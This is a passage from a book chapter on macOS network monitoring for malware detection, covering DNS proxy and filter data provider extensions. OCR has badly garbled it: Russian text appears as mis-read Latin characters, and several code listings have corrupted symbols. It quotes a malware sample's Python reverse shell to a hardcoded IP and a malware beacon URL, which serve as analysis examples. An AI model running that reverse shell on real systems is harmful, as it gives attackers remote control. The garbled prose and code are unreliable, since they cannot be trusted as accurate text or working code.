Mpu 3anycke aToro tool kaxeTcsd, 4To OH updates information kaxabln pas, korga NoABAAITCA New
connections. OgHako man page utility nokasbiBaeT, 4to behind the scenes nettop genaet He Gonblue,
yem obtains network snapshots at regular intervals. Nlo ymonuaHuto oH genaet snapshot every second,
X0Ts 9T0T interval MmoxHO nsameHnTs command line option -s. ABnseTtcs nu ato true network monitor? Her,
Ho ero approach straightforward u, ecnu snapshots npoucxogart yacto, likely comprehensive enough to
detect suspicious network activity.

Y1066l mimic nettop, Mmbl Moxem capture snapshot network activity ¢ nomoLbto framework
NetworkStatistics, invoking ero APl NStatManagerQueryAllSourcesDescriptions, kak o6cyxganocs B
rnaee 4. 3atem MOXHO npocTo reinvoke API at regular intervals. Koa B nuctuHre 7-1 genaet MMeHHO 3TO.
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dispatch_queue_t queue = dispatch_queue_create(NULL, NULL);
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, ©, ©, queue);
NSUInteger refreshRate = 10;

dispatch_source_set_timer(source, DISPATCH_TIME_NOW, refreshRate * NSEC_PER_SEC, 0);

dispatch_source_set_event_handler(source, ~{
NStatManagerQueryAllSourcesDescriptions(manager, ~{
// Code here will execute when the query is complete.
1
})s

dispatch_resume(source);
JluctnHr 7-1: PerynsapHbin capture network state

Chauana kop co3gaert dispatch queue u dispatch source. 3atem oH ycTaHaBnusaeT start time u refresh
rate anga dispatch source uyepes APl dispatch_source_set_timer. [lnsa unnwocTpauum mMbl ykasbiBaem
refresh rate 10 seconds. API call TpebyeT 310 3HauyeHne B nanoseconds, NOSTOMY Mbl YMHOXaeM €ro Ha
NSEC_PER_SEC, system constant, npeactaenstoLLyto KonnyecTBo nanoseconds in one second. [lanee mbl
co3sgaem event handler, koTopbin 6yaeT reinvoke APl NStatManagerQueryAllSourcesDescriptions
Kakabli pas, korga dispatch source refreshed. HakoHeu, mbl invoke function dispatch_resume, utobbl
npusecTtun snapshot-based monitor B gsmxeHne. Tenepb nepengem k continual monitor.

DNS monitoring

Monitoring DNS traffic - adpcpekTnBHbIN cnocob detect many types of malware. Ngesa npocrta: He3aBncumo
OT TOro, kak malware infects victim's machine, nto6oe connection, koTopoe oHO genaeT k domain,
Hanpumep ceoemy command-and-control server, nopogut DNS request and response. Ecniv monitoring
DNS traffic directly on the host, mbl MOXXem genaTtb cnegyioulee:

Identify new processes using the network Kaxaein pas, korga ata activity occurs, cnegyet
BHMMAaTEsNbHO examine new process. Users yacTto install new software, kotopoe accesses network for
legitimate reasons, Ho ecnu item He notarized wunu persists, Hanpyumep, oH MoxeT BbiTb malicious.

Extract the domain that the process is attempting to resolve Ecnu domain Bbirnagut suspicious
(Bo3mOXxHO, NoToMy 4TO OH hosted by an internet service provider, commonly leveraged by malicious
actors), oH MmoxeT reveal presence malware. Kpome Toro, coxpaHeHue atux DNS requests gaet historical
record system activity, KOTOpbIl MOXXHO query Kaxkabll pas, korga security community discovers new
malware, 4To6bI retroactively yBmnaeTs, He Bbinun nu BoI infected.

Detect malware abusing DNS as an exfiltration channel MNockonbky firewalls 06b1uHO allow DNS traffic,
malware moxerT exfiltrate data yepes valid DNS requests.
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Monitoring Tonbko DNS traffic - 6onee efficient approach, yem monitoring all network activity, Ho oH Bce
paBHO npegocTtasnsaeT cnocob uncover most malware. Hanpumep, paccmotpum malicious updater
component, KOTOpbI 1 0OHapyxun B Havane 2023 roga. 2] HassanHbIi iWebUpdater, atoT binary
persistently installs itself 8 ~/Library/Services/ilWebUpdate. 3atem oH beacons k domain
iwebservicescloud. com, 4tobbl send information about infected host n download and install additional
binaries. B malicious binary iWebUpdate mMoxHO HanTu aToT hardcoded domain no address 0x10000f7c2:

0x000000010000f7c2 db "https://iwebservicescloud.com/api/ve"”, ©
B ero disassembly BugHo, 4to malware references this address, korga builds a URL, whose parameters
contain information about infected host:

__snprintf_chk(var_38, var_30, 0x0, oxffffffffffffffff, "%s%hs?v=%d&c=%s&u=
%s&os=%s&hw=%s", "https://iwebservicescloud.com/api/ve", ri3, ox2, ri2,
byte_100023f50, rcx, rax);

3arem malicious updater attempts to connect to the URL, leveraging API curl. Vicnonb3sys popular
network monitoring tool Wireshark, mbl moxxem observe DNS request u resulting response (pucyHok 7-1).

18 1.293775 1%2.168.86.77 Al IS DNS B1 Standard query @xaat8 A iwebservicescloud.com
11 1.431295 1.1.1.1 192.188.86.77 DNS 87 Standard query response @xaabB A iwebservicescloud.com A 185.181.184.82

PucyHok 7-1: Network capture, rae iWebUpdater paspewaet IP address cBoero update server

XoT4 antivirus engines initially He nomeTunu binary kak malicious, domain iwebservicescloud.com
nmeer long history resolving to IP addresses, associated with malicious actors. Ecnu 6bl Mbl Mornu
cesizaTb DNS data o6patHo ¢ binary iWebUpdate (s ckopo nokaxy, kak aTo cgenarb), Mbl yBUAENM Obl,
4yTO OHW originate from persistently installed launch agent, koTopbin He signed. Shady!

Ewe oguH npumep power DNS monitoring - supply chain attack 3CX. Supply chain attacks notoriously
difficult to detect, u B aTom cnyyae Apple inadvertently notarized subverted installer 3CX. Xots traditional
antivirus software initially He nomeuano application kak malicious, security tools, leveraging DNS
monitoring capabilities, 6eicTpo noticed, 4To 4YTO-TO He Tak, M Havanwu alert users. Te flocked to the 3CX
forums, posting messages Bpoge: “I had an alert come through . . . telling me that the 3CX Desktop App
has been attempting to communicate with a ‘highly suspicious’ domain, likely to be actor controlled.” 3]

Mornu nu gpyrue heuristics detect attack? BoamoxHo, Ho gaxe notarization system Apple He 3ameTuna
ero. K cuactbio, DNS monitor provided a way to detect, uyto subverted application communicating with a
new and unusual domain, n mitigations soon limited what could have been massively impactful and
widespread cybersecurity event.
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PasymeeTtcs, y DNS monitoring ectb downsides. Camblil 3amMeTHbIN: OH He NoMoxeT detect malware,
KoTopoe He resolves domains, Hanpumep simple backdoors, merely opening listening sockets for remote
connections, unn malware, kotopoe directly connects to an IP address. XoTs Takoe malware rare, OHO
occasionally Bctpeyvaetcs. Hanpumep, Dummy, simple Mac malware, ynomsiHyToe paHee, co3gaet
reverse shell k hardcoded IP address:

#!1/bin/bash

while :

do

python -c

'import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("185.243.115.230",1337));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);"

sleep 5
done

Direct connection to an IP address He generates Hukakoro DNS traffic, noatomy DNS monitor He detect
Dummy. B aTom cnyvae noHagobutcs more comprehensive filter data provider, capable of monitoring all
traffic. MosgHee B aToM rNase A nokaxy, kak build Takon tool, ncnonb3ys 1ot xe framework u MmHorne n3
Tex xe APIs, koTopble ucnoneaytotca anga simpler DNS monitor.

Ucnonb3oBaHne NetworkExtension framework

Monitoring network traffic on macOS paHbLue TpeboBan writing network kernel extension. Apple ¢ Tex nop
deprecated aTtoT approach Bmecte co Bcemu third-party kernel extensions n introduced system extensions
to replace it. System extensions 6e3onacHee run in user mode u npegocTaBnsalT modern mechanism ans
extend or enhance macOS functionality. [41

YTto6bl extend core networking features, Apple Takke introduced user-mode NetworkExtension framework.
3] CospgaBas system extensions, leveraging atoT framework, MOXHO 4ocTuyb Tex xe capabilities, yto n
now-deprecated network kernel extensions, Ho from user mode.

System extensions moLUHbI, NoaTomMy Apple TpebyeT BbINOMHUTL HECKOMBKO prerequisites nepen deploy
extension: [©!

* HyxHO package extension B kaTanore Contents/Library/SystemExtensions/ application bundle.

* Application, containing extension, gormkHa nonyuntb entitlement
com.apple.developer.system-extension.install, a build gomkeH BbINONHATLCA C provisioning
profile, npegocTtaBnsitowmm means to authorize entitlement at runtime.

* Application, containing extension, gomkHa 6biTb signed with Apple developer ID, a Takke notarized.

* Application, containing extension, gomkHa 6bITb installed B appropriate Applications directory.

* B unmanaged environments macOS TpebyeT explicit user approval gnsi 3arpysku nioboro system
extension.

A 06bsACHI0, KaK BbINOMHUTL 3TW requirements, B rnase 13. Kak 9 oTMeyarn Bo BBEAEHUN K KHUTE, MOXHO
oTknountb System Integrity Protection (SIP) n Apple Mobile File Integrity (AMFI), 4Tobbl sidestep yacTb 13
Hux. OgHako disabling these protections 3HaunTenbHO cHxaeT overall security cuctembl, NO3TOMY 5
pekomMeHayto genatb aTo Tonbko within virtual machine nnn Ha system, dedicated to development or
testing.
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Hanee 4 kpaTko nokaxy, kak nporpammHo install and load system extension, a 3atem use framework

NetworkExtension ans monitoring DNS traffic. 3geck npuBeaeHsl relevant code snippets, a Becb kopg

MOXHO HanTh B open source npoekte Objective-See DNSMonitor, koTopbIi nogpobHO paccMaTpuBaeTcs B
7]

rnase 13.

MpumeyaHue. Hekotopble APIs, ynomsaHyTble B 3TOM pa3aerne, HegaBHo 6binm deprecated
Apple, Hanpumep B macOS 15. OgHako Ha MOMEHT NyOnuKaunmM OHN COXPaHSOT CBOO
functionality. Ecnu Bbl paspabaTtbiBaeTe ans older versions macOS, Bce paBHO CTOUT
ucnonb3oBaTb 3Tn APIs pagu compatibility. Kpome Toro, HekoTopkle deprecated functions,
Hanpumep n3 Apple library 1ibresolv, He nmetoT direct replacements, N0O3TOMy UMeeT CMbICh
npoaoskaTh UCNOMb30BaTh UX TaM, rae aTo Heobxoammo.

AkTnBauus system extension

Apple TpebyeT nomeLlatb nobon system extension B application bundle, noatomy koa ans install, unu
activate, system extension Toxxe gormkeH HaxoguTbcsa B application. JIMCTUHF 7-2 nokasbiBaeT, Kak
nporpaMmmHo activate Takon extension.

#define EXT_BUNDLE_ID @"com.example.dnsmonitor.extension"

0SSystemExtensionRequest* request = [0SSystemExtensionRequest
activationRequestForExtension:EXT_BUNDLE_ID
queue:dispatch_get_global queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0)];

request.delegate = <object that conforms to the 0SSystemExtensionRequestDelegate protocol>;
[0SSystemExtensionManager.sharedManager submitRequest:request];

JInctuur 7-2; YctaHoBka system extension

Application, cogepxalias extension, cHa4dana gosrkHa invoke method
activationRequestForExtension:queue: knacca 0SSystemExtensionRequest, kKOTopbI creates
request to activate system extension. 8] Method npuHumaeT bundle ID extension u dispatch queue,
KOTOpYto OH OyaeT ncnonb3oathb Ansi calls delegate methods. Mbl gormkHbl set delegate nepen Tem, kak
submit request system extension manager, 4TobbI trigger activation.

MoroBopum o delegate HemHoro nogpobHee. Object 0SSystemExtensionRequest TpebyeT delegate
object, koTopbIi gormkeH conform to protocol 0SSystemExtensionRequestDelegate n implement various
delegate methods gns handling callbacks, BosHukatowmx during activation process, a Takke success and
failure cases. Operating system aBToMmaTunuyeckn invoke atu delegate methods during process activating

extension. BoT kpaTkui overview atux required delegate methods, ocHoBaHHbIV Ha documentation Apple:
[9]

requestNeedsUserApproval: Invoked, korga system determined, 4To en HyXHO user approval nepep

activating extension.

request:actionForReplacingExtension:withExtension: Invoked, korga another version extension
yxe installed on the system.

request:didFailWithError: Invoked, koraa activation request failed.
request:didFinishWithResult: Invoked, korga activation request completed.

BaxHo, 4Tobbl application implement these required delegate methods. MiHaye oHa crash, korga system
noneiTaetcs invoke mx during activation of your extension.

Xopowag HoBocTb: implementation methods He TpebyeT mHororo. Hanpumep, method
requestNeedsUserApproval: moxeT simply return, kak u method request:didFailWithError: (xoTs

136



Bbl, BEPOSITHO, 3aX0TUTE Ucnosnb3oBaTh ero to log error messages). Method
request:actionForReplacingExtension:withExtension: moxeT return value
0SSystemExtensionReplacementActionReplace, 4yTobbl ckasaTb operating system replace any old
instances extension.

Mocne Toro kak user approved extension, system invoke delegate method
request:didFinishWithResult:. Ecnu result, passed into this method, paseH
0SSystemExtensionRequestCompleted, extension ycnewHo activated. B aToT MoMeHT MOXHO proceed to
enable network monitoring.

BkntoyeHne monitoring

MpegnonoxumM, system extension activated successfully. Tenepb MoxHO instruct system begin routing all
DNS traffic through extension. Singleton object NEDNSProxyManager moxeT enable this monitoring, kak
nokasaHo B NUCTUHre 7-3.

#define EXT_BUNDLE_ID @"com.example.dnsmonitor.extension"

[NEDNSProxyManager.sharedManager loadFromPreferencesWithCompletionHandler:”~(NSError*
_Nullable error) {
NEDNSProxyManager.sharedManager.localizedDescription = @"DNS Monitor";

NEDNSProxyProviderProtocol* protocol = [[NEDNSProxyProviderProtocol alloc] init];
protocol.providerBundleIdentifier = EXT_BUNDLE_ID;
NEDNSProxyManager.sharedManager.providerProtocol = protocol;

NEDNSProxyManager.sharedManager.enabled = YES;

[NEDNSProxyManager.sharedManager
saveToPreferencesWithCompletionHandler:~(NSError* _Nullable error) {
// If there is no error, the DNS proxy provider is running.
3
H;

Jlnctuur 7-3; BkntoueHne DNS monitoring yepesa object NEDNSProxyManager

Crauana HyxHo load current DNS proxy configuration, BbiasaB method shared manager
loadFromPreferencesWithCompletionHandler: knacca NEDNSProxyManager. EQUHCTBEHHbLIM
argument atoT method npuHumaet block, koTopbin Hy>xHO invoke once preferences have been loaded.

Mocne invocation callback mbl Moxxem configure preferences, 4Tobbl enable DNS monitor. CHavana
ycTaHaBnmBaeM description, koTopoe nosisutcsa B application System Settings operating system,
cnocobHom display all active extensions. 3aTtem allocate and initialize object
NEDNSProxyProviderProtocol c bundle ID Hawero extension. lNocne aToro mMbl ykasbliBaem, 4To toggling
DNS monitor on, yctaHaBnusas instance variable enabled shared manager object NEDNSProxyManager B
YES.

HakoHeu, invoke method shared manager saveToPreferencesWithCompletionHandler, 4TOGbI Save
updated configuration information. Mocne atoro call system extension gomxeH 6biTb fully activated, un
operating system HaudHeT proxying DNS traffic through it.
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HanucaHue extension

Korga mbl request to activate system extension u toggle on network extension, system copy extension u3
application's bundle B secure, root-owned directory /Library/SystemExtension. Nocne verifying
extension system load and execute it kak stand-alone process, running with root privileges.

Tenepsb, koraa Mel activated extension from within application, nsyumum code, HaxogaLmnincs BHyTpM camoro
extension. JluctuHr 7-4 starts extension.

int main(int argc, const char* argv[]) {
[NEProvider startSystemExtensionMode];

dispatch_main();

}
JInctuur 7-4: Initialization logic network extension

B function main extension Mbl invoke method startSystemExtensionMode knacca NEProvider, 4Tobbl
“start the Network Extension machinery.” (91 9 Tawke pekomeHayto caenatb call to dispatch_main;
nHade function main return, n extension exit.

Behind the scenes method startSystemExtensionMode 3actaBut framework NetworkExtension
instantiate class, specified under key NEProviderClasses dictionary NetworkExtension B file
Info.plist extension:

<key>NetworkExtension</key>
<dict>

<key>NEProviderClasses</key>

<dict>
<key>com.apple.networkextension.dns-proxy</key>
<string>DNSProxyProvider</string>

</dict>

</dict>

Bbl gomkHbl create this class, Ha3BaB ero kak yrogHo. 3geck Mbl BelGpanv name DNSProxyProvider, a
NOCKONbKy Hac MHTepecyeT proxying DNS traffic, nucnonbsosanu key value

com.apple.networkextension.dns-proxy. 3T0T class gormxeH inherit from class NEProvidercClass
unu ogHoro mn3 ero subclasses, Hanpumep NEDNSProxyProvider:

@interface DNSProxyProvider : NEDNSProxyProvider

@end
Bonee Toro, class gomkeH implement relevant delegate methods, kotopbie framework NetworkExtension
6yaert call, Hanpumep, ansa handling DNS network events. 31 delegate methods BkntoyatoT:

startProxyWithOptions:completionHandler:
stopProxyWithReason:completionHandler:
handleNewFlow:

Methods start 1 stop gatoT BO3MOXHOCTb BbINOMHWUTL any necessary initialization or cleanup. MNMogpobHee o
HMX MOXHO y3HaTb B file NEDNSProxyProvider.h unu B Apple developer documentation gns class
NEDNSProxyProvider. ']

Framework NetworkExtension aBTomatuyecku invoke delegate method handleNewFlow:, 4ToGbl deliver
network data, noatomy atotT method gormkeH contain core logic DNS monitor. Method invoked with a flow,
which represents unit of network data transferred between source and destination.
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Objects NEAppProxyFlow encapsulate flows, passed to handleNewFlow:, 4To6bl provide interface for
network data. MNMockonbky DNS traffic o6bi4Ho travels over UDP, atoT npumep focuses solely on UDP
flows, yen type - NEAppProxyUDPFlow, subclass NEAppProxyFlow. B rnase 13 s nogpo6bHo npongy steps
proxying UDP traffic, a noka paccmoTpum Tonbko process interacting with DNS packets.

Parsing DNS requests

Mel moxxem read from object flow NEAppProxyUDPF low, 4Tobbl nonyunts list datagrams ans specific DNS
request (unu question, B DNS parlance). Kaxgbii datagram stored in object NSData; nuctuHr 7-5 parses
and prints them out.

#import <dns_util.h>

[flow readDatagramsWithCompletionHandler:”(
NSArray* datagrams, NSArray* endpoints, NSError* error) {
for(int i = @; i < datagrams.count; i++) {
NSData* packet = datagrams[i];

dns_reply_t* parsedPacket = dns_parse_packet(packet.bytes, (uint32_t)packet.length);
dns_print_reply(parsedPacket, stdout, OxFFFF);

dns_free_reply(parsedPacket);

s
Jlnctunr 7-5: Reading and then parsing DNS datagrams

Mel parse packet yepes function dns_parse_packet, found in Apple's 1ibresolv library. 3atem print out
packet yepes call to function dns_print_reply. HakoHeu, free ero 4yepes function dns_free_reply.

PasymeeTcs, Bawa program, BeposTHO, AormkHa examine DNS request, a He npocTo print it out. MoxHo
inspect parsed DNS record, returned by function dns_parse_packet, 4eii type - dns_reply_t.
Hanpumep, nucTuHr 7-6 nokaseiBaeT, kak access fully qualified domain name (FQDN) request.

NSMutableArray* questions = [NSMutableArray array];

for(uintle_t i = ©; i < parsedPacket->header->qdcount; i++) {
NSMutableDictionary* details = [NSMutableDictionary dictionary];
dns_question_t* question = parsedPacket->question[i];

details[@"Question Name"] =
[NSString stringWithUTF8String:question->name];

details[@"Question Class"] =
[NSString stringWithUTF8String:dns_class_string(question->dnsclass)];

details[@"Question Type"] =
[NSString stringWithUTF8String:dns_type_string(question->dnstype)];

[questions addObject:details];
}

JlnctnHr 7-6: N3BneveHune nHtepecyrowmx members 13 parsed DNS request

Mbl ncnone3yem members qdcount n question DNS packet, utobni iterate over every question. [ns
Kaxxgoro question nssnekaem ero name (domain to resolve), class u type; convert ux into strings (4epes
Apple's dns_class_string); u save them into dictionary object. HakoHeL, mbl save dictionary extracted
details gns kaxgoro question B array.
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Tenepb, ecnv BbINOMHUTL query Yyepes nslookup, Hanpumep Kk objective-see.org, code DNS monitor
capture request:

# /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor
{

"Process" : {

"processPath” : "\/usr\/bin\/nslookup",
"processSigningID" : "com.apple.nslookup",
"processID" : 5295

}J

"Packet" : {

"Opcode" : "Standard",

"QR" : "Query",

"Questions" : [

{

"Question Name" : "objective-see.org",
"Question Class" : "IN",

"Question Type" : "A"

}

1,

"RA" : "No recursion available",
"Rcode" : "No error",

"RD" : "Recursion desired",

"XID" : 36565,

"TC" : "Non-Truncated",

"AA" : "Non-Authoritative"

¥

}

Hanee mbl o6pabotaem DNS responses (called answers).

Parsing DNS responses

DNS monitor, koTopblii leverages class NEDNSProxyProvider, no cytu siBnsieTcst proxy, proxying both
local requests and remote responses. 3To 3Ha4uT, 4To Mbl AoIMkHbI read DNS request local flow, a 3aTem
open remote u send request to its destination. YTo6b1 access any response, mMbl Yutaem data from remote
endpoint ¢ nomowbto APl nw_connection_receive. JIuctudr 7-7 invokes atot APl Ha remote endpoint,
3aTem invokes dns_parse_packet BHyTpu ero callback block, 4uto6bl parse response.
nw_connection_receive(connection, 1, UINT32_MAX,
~(dispatch_data_t content, nw_content_context_t context,

bool is_complete, nw_error_t receive_error) {
NSData* packet = (NSData*)content;

dns_reply_t* parsedPacket =
dns_parse_packet(packet.bytes, (uint32_t)packet.length);

dns_free_reply(parsedPacket);

1
JlnctnHr 7-7: Receiving and parsing DNS responses

XoTs Mbl MOrnM bl NPOCTO print out response ¢ nomoLubto function dns_print_ reply, BMmecTto atoro
na3sreyem answers. Bbl 3ameTute, 4YTO 3TOT code, NOKa3aHHbINA B IMCTUHrE 7-8, NOXOX Ha snippet,
KoTopbIn extracted questions.

NSMutableArray* answers = [NSMutableArray array];
for(uintl6_t i = @; i < parsedPacket->header->ancount; i++) {
NSMutableDictionary* details = [NSMutableDictionary dictionary];

dns_resource_record_t* answer = parsedPacket->answer[i];

details[@"Answer Name"] = [NSString stringWithUTF8String:answer->name];
details[@"Answer Class"] = [NSString stringWithUTF8String:dns_class_string(answer->
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dnsclass)];
details[@"Answer Type"] = [NSString stringWithUTF8String:dns_type_string(answer->dnstype)];

switch(answer->dnstype) {
case ns_t_a:
details[@"Host Address"] = [NSString stringWithUTF8String:inet_ntoa(answer->
data.A->addr)];
break;

}

[answers addObject:details];

}
JlnctnHr 7-8: N3BneveHune nHtepecyrowmx members 13 parsed DNS response

3aecb, ogHako, Mbl access members ancount 1 answer, a 3atem gomkHbl add additional logic, 4ToGbI
extract response contents. Hanpumep, Mbl examine its type u, ecnu ato IPv4 address (ns_t_a), convert
ero yepes function inet_ntoa.

Ecnn 3anyctutb Objective-See DNSMonitor, koTopbii contains this code n nonyuun appropriate
entitlement and notarization, MOXHO yBUAEeTb, 4TO OH capture answer to our previous lookup
objective-see.org:

# /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor

{

"Process" : {

"processPath” : "\/usr\/bin\/nslookup",
"processSigningID" : "com.apple.nslookup",
"processID" : 51021

}s

"Packet" : {

"Opcode" : "Standard",

"QR" : "Reply",

"Questions" : [

{

"Question Name" : "objective-see.org",
"Question Class" : "IN",

"Question Type" : "A"

¥

1,

"Answers" : [

{

"Name" : "objective-see.org",
"Type" : "IN",

"Host Address" : "185.199.110.153",
"Class" : "IN"

}J

{

"Name" : "objective-see.org",
"Type" : "IN",

"Host Address" : "185.199.109.153",
"Class" : "IN"

}J

1,

¥

¥
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Packet type - reply, cogepxawun original question n answers. Mbl Takke y3Haem, 4to domain
objective-see.org maps to multiple IP addresses. Npu 3anycke against actual malware ata information
MOoXeT ObITh incredibly useful. Bosbmem aforementioned iWebUpdater kak npumep. Korga oH connects to
iwebservicescloud. com, oH generates DNS request and reply:

# /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor
{

"Process" : {

"processPath” : "\/Users\/user\/Library\/Services\/iWebUpdate",
"processSigningID" : nil,

"processID" : 51304

s

"Packet" : {

"Opcode" : "Standard",

"QR" : "Query",

"Questions" : [

{

"Question Name" : "iwebservicescloud.com",
"Question Class" : "IN",

"Question Type" : "A"

¥

1,

¥

3 q

"Process" : {

"processPath” : "\/Users\/user\/Library\/Services\/iWebUpdate",
"processSigningID" : nil,

"processID" : 51304

s

"Packet" : {

"Opcode" : "Standard",

"QR" : "Reply",

"Questions" : [

{

"Question Name" : "iwebservicescloud.com",
"Question Class" : "IN",

"Question Type" : "A "

¥

1,

"Answers" : [

{

"Name" : "iwebservicescloud.com",

"Type" : "IN",

"Host Address" : "173.231.184.122",
"Class" : "IN"

}

1,

}

}
DNS monitoring code cnocoben detect both resolution request and reply. Passing either of these into
external threat intelligence platform, such as VirusTotal, should reveal, 4To domain has a history resolving
to IP addresses associated with malicious activity, Bkntouas specific IP address, to which it resolved here.

MpoHnuaTenbHbIA YnTaTeNb MOr 3aMeTUTb, YTO output Takke identified iWebUpdater kak process
responsible for making this request. Tenepb nocmMoTpuMm, Kak 3TO caenathb.
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UpoeHTndpunkauma responsible process

Identifying process responsible for a DNS request essential gnsa detecting malware, Ho DNS monitors,
KoTopble He host-based, He MoryT npegocTtaBuTh 3Ty information. Hanpumep, requests from trusted
system processes, likely safe, Toraa kak requests oT, ckaxeMm, persistent, unnotarized process Bpoae
iWebUpdate, cnegyer closely scrutinized.

Tenepb A nokaxy, kak obtain ID responsible process, ncnoneays information, provided by
NetworkExtension framework. Object flow, passed into extension via delegate method handleNewFlow:,
copaepxut instance variable metaData, 4en type - NEFlowMetaData.

Consulting file NEFlowMetaData.h (found in NetworkExtension.framework/Versions/A/Headers/)
reveals, 4TO OH copepXxuT property sourceAppAuditToken ¢ audit token responsible process.

W3 aToro audit token moxHo extract responsible process ID n securely obtain its path using SecCode*
APIls. Jlnctuur 7-9 implements this technique.

CFURLRef path = NULL;
SecCodeRef code = NULL;

audit_token_t* auditToken = (audit_token_t*)flow.metaData.sourceAppAuditToken.bytes;
pid_t pid = audit_token_to_pid(*auditToken);

SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)(@{(_bridge
NSString*)kSecGuestAttributeAudit:flow.metaData.sourceAppAuditToken}), kSecCSDefaultFlags,
&code);

SecCodeCopyPath(code, kSecCSDefaultFlags, &path);

// Do something with the process ID and path.
CFRelease(path);
CFRelease(code);

JluctnHr 7-9: MonyyeHue ID u path responsible process 13 network flow

Crauvana mbil initialize pointer to audit token. Kak oTmeyanocb, sourceAppAuditToken cogepxuTt aToT
token B form object NSData. Ytobbl nonyunTs pointer to actual bytes audit token, mbl ucnonb3yem property
bytes class NSData. Mimes aToT pointer, MmoxHo extract associated process ID 4epes function
audit_token_to_pid. [lanee mbl obtain code reference from audit token 1 3aTem invoke function
SecCodeCopyPath, 4Tobbl Obtain process path.

Ctount oTmMeTuTb, UTo API SecCodeCopyGuestiWithAttributes moxer fail, Hanpumep ecnu process
self-deleted. Takon cny4yan both very unusual and likely indicative malicious process. Regardless,
npugeTtcsa defer to other, less certain methods obtaining process path, such as examining process
arguments, which can be surreptitiously modified.

U3 flow Takke moxHo extract code signing identifier responsible process, koTopein MoxeT help classify
process as either benign or something to investigate further. 3toT identifier HaxoguTcs B attribute
sourceAppSigningIdentifier flow. JluctuHr 7-10 extracts it.

NSString* signingID = flow.metaData.sourceAppSigningIdentifier;
Jlnctunr 7-10: MsBneyenne code signing information n3 network flow

Kak oTmevanoch paHee B aTou rnaee, DNS monitoring process, koTophIl s onucan go cux nop, He detect
malware Bpoge Dummy, koTopoe connects directly to IP address. Yto6bl detect such threats, paclumpum
monitoring capabilities 1 6yaem examine all network traffic.
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Filter data providers

OpHa mn3 cambix powerful network monitoring capabilities, npegoctaesnsembix macOS, - a7o filter data
providers. PeannsoBaHHble BHYTpU system extension u built atop framework NetworkExtension, atn
network extensions moryT observe and filter all network traffic. Ix MoxxHO ncnonb3oBatb, 4TOOLI actively
block malicious network traffic unu passively observe all network flows, a 3atewm identify potentially
suspicious processes for further investigation.

MHTepecHo, uto korga Apple introduced filter data providers Bmecte ¢ apyrummn network extensions, oHa
initially pelumna exempt traffic, generated by various system components, from filtering, xotsa atort traffic
paHee routed yepes now-deprecated network kernel extensions. 3To o3Havano, 4To security tools, Takue
kak network monitors u firewalls, koTopble previously observed all network traffic, Tenepb ocTtaBanuce blind
to some of it. HeyaneutensHo, 4Tto abusing exempted system components 6bino nerko n npegocTaenano
stealthy way to bypass any third-party security tool, built atop Apple's network extensions. Nocne Toro kak
s demonstrated this bypass, media jumped on the story, 2 4 public outcry encouraged Apple reevaluate
its approach. B utore wiser minds in Cupertino prevailed; cerogHsa all network traffic on macOS routed
through any installed filter data provider. (13]

MpumeuaHue. Kak n DNS monitor, network extension filter data provider, koTopbiii Mbl
peanuayem 3a4ecbh, JOMKEH COOTBETCTBOBATL prerequisites, discussed in “Using the
NetworkExtension Framework” on page 159.

Kop B aToM pasgene largely comes from popular open source firewall Objective-See, LuLu, written by
yours truly. MonHbin kog LuLu moxHo HanTm B GitHub repository https://github.com/objective-see/LulLu.

BkrnitoueHue filtering

HayHem c nporpammHon activation network extension, kotopbii implements filter data provider. 3toT
process slightly deviates from activation network extension, implementing DNS monitoring; instead of
using object NEDNSProxyManager, Mbl leverage object NEFilterManager. B main application
ncnonb3ynte process, covered in “Activating a System Extension” on page 160, 4Tto6bl activate extension,
then enable filtering as shown in listing 7-11.

[NEFilterManager.sharedManager loadFromPreferencesWithCompletionHandler:~(NSError*

_Nullable error) {
NEFilterProviderConfiguration* config = [[NEFilterProviderConfiguration alloc] init];

config.filterPackets
config.filterSockets

NO;
YES;

NEFilterManager.sharedManager.providerConfiguration = config;
NEFilterManager.sharedManager.enabled = YES;

[NEFilterManager.sharedManager
saveToPreferencesWithCompletionHandler:~(NSError* _Nullable error) {
// If there is no error, the filter data provider is running.
I3l
3

JlnctnHr 7-11: BkntoueHue filtering ¢ object NEFilterManager

Cravana mbl access shared manager object NEFilterManager n invoke ero method
loadFromPreferencesWithCompletionHandler:. Nocne completion initialize object
NEFilterProviderConfiguration. 3aTtem set two configuration options. lNockonbKy Hac He nHTepecyet
filtering packets, yctaHaBnmBaem 3Ty option B NO. C gpyron cTopoHbl, Mbl xoTuM filter socket activity,
noaTomy ycTaHaBnmBaem 370 B YES. 3aTtem ko saves this configuration n sets shared manager object
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NEFilterManager to enabled. HakoHel, 4To6bI trigger network extension activation ¢ aTow configuration,
kog invokes method shared manager saveToPreferencesWithCompletionHandler:. Once this process
completes, filter data provider should be running.

HanucaHue extension

Kak n DNS monitor, filter data provider - aTo separate binary, koTopbii HyxHO package B directory
Contents/Library/SystemExtensions/ bundle. lNMocne loading oH gomkeH invoke method
startSystemExtensionMode: knacca NEProvider. B file Info.plist extension mbl gobaensem
dictionary, referenced by key NEProviderClasses, containing a single key-value pair (nuctuHr 7-12).

<key>NEProviderClasses</key>

<dict>

<key>com.apple.networkextension.filter-data</key>

<string>FilterDataProvider</string>
</dict>

JlnctnHr 7-12: File Info.plist extension, specifying extension's NEProviderClasses class

Mel set key to com.apple.networkextension.filter-data, a value - to name of our class in extension,
koTopbin inherits from NEFilterDataProvider. B 3Tom npumepe Mbl Ha3Banu class
FilterDataProvider u declare ero crnegytowmm obpasom (MUCTUHT 7-13).

@interface FilterDataProvider : NEFilterDataProvider
@end
JInctunr 7-13: Interface definition for class FilterDataProvider

Korpa extension filter data provider up and running, framework NetworkExtension asTomatuyecku invoke
method startFilterWithCompletionHandler aToro class, raoe Bbl specify what traffic you'd like to filter.
Kog B nuctuHre 7-14 filters all protocols, but only for outgoing traffic, 4uto more helpful than incoming traffic
for detecting unauthorized or new programs that could be malware.
-(void)startFilterWithCompletionHandler: (void (”)(NSError* error))completionHandler {
NENetworkRule* networkRule = [[NENetworkRule alloc] initWithRemoteNetwork:nil

